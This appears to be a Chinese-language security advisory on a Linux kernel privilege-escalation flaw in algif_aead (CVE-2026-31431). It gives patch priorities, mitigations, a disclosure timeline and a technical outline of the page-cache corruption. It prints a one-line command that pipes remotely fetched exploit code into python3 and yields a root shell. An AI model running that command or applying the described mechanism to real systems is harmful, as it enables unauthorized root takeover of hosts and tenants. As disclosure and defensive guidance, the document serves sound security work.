Copy Fail:危急 Linux 内核漏洞利用 CVE-2026-31431

Copy Fail:无声的 Linux 内核杀手 (CVE-2026-31431)

一个仅有 732 字节的 Python 脚本。四个主要 Linux 发行版。四个 root shell — 无需修改、无需重新编译、无需麻烦。欢迎来到 Copy Fail (CVE-2026-31431),Linux 近期历史上最可移植的本地权限提升漏洞。

无处不在生效的漏洞利用

由 Xint Code 通过 AI 辅助审计发现,Copy Fail 利用了 2017 年 algif_aead 加密接口中的内核优化。非特权用户可以直接向任何可读文件页面缓存 中写入 4 个受控字节 — 包括像 /usr/bin/su 这样的 setuid-root 二进制文件。

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

一次成功。100% 可靠。每个发行版皆适用。

谁需要紧急处理(打补丁优先级)

优先级 环境 风险
🟥 多租户主机、Kubernetes、CI 运行器 任意用户 → 主机 root
🟥 云 SaaS、笔记本主机 租户逃逸至主机
🟨 单租户服务器 内部 LPE 链
🟢 单用户工作站 仅后渗透

已验证受影响: Ubuntu 24.04、Amazon Linux 2023、RHEL 10、SUSE 16(仍在统计中)。

Copy Fail 的独特之处

特性 典型 LPE Copy Fail
竞争条件 ✅ 需要 ❌ 无
特定发行版偏移 ✅ 需要 ❌ 通用
可靠性 30-80% ✅ 100% 单次成功
受影响窗口 狭窄范围 2017 → 2026 (9 年)
容器逃逸 ❌ 仅主机 ✅ 跨租户

与 Dirty Pipe(管道标志)或 Dirty Cow(竞争条件)不同,Copy Fail 是直线代码,滥用 AEAD scatterlist 处理不当。

立即缓解措施

1. 打补丁(首选)

# 更新内核以包含主线提交 a664bf3d603d
apt update && apt upgrade linux-image-generic  # Ubuntu
yum update kernel                            # RHEL
zypper update kernel                        # SUSE

2. 紧急禁用(打补丁前)

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

性能影响: 对 99.9% 的工作负载无影响。仅影响罕见的 AF_ALG 用户。

3. 容器加固

通过 seccomp 为不受信任的工作负载阻塞 AF_ALG 套接字。

技术深度解析

漏洞位于 algif_aead (AF_ALG 套接字族)。2017 年的“优化”允许原地加密,其中页面缓存页面(只读源)成为可写目标 scatterlist。

  1. splice() 将页面缓存页面送入加密 scatterlist
  2. AEAD 认证在缓冲区边界外乱写 4 个 AAD ESN 字节
  3. authenc_esn 从未恢复被覆盖的页面缓存字节
  4. execve(/usr/bin/su) 读取损坏的页面缓存 → root shell

隐秘加分: 无 VFS 写入、无脏页、无磁盘变更。清除缓存或重启 → 文件恢复干净。

披露时间线

  • 2026-03-23: 报告给内核团队
  • 2026-04-01: 补丁提交
  • 2026-04-29: 公开披露

负责任防御

PoC 已公开 (sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9),供防御者测试补丁。仅在授权系统上运行。

多租户运营商: 昨天就该打补丁。这不是理论。

Xint Code 发现 — 真正有效的 AI 安全审计。

原始文章: 查看原文

分享这篇文章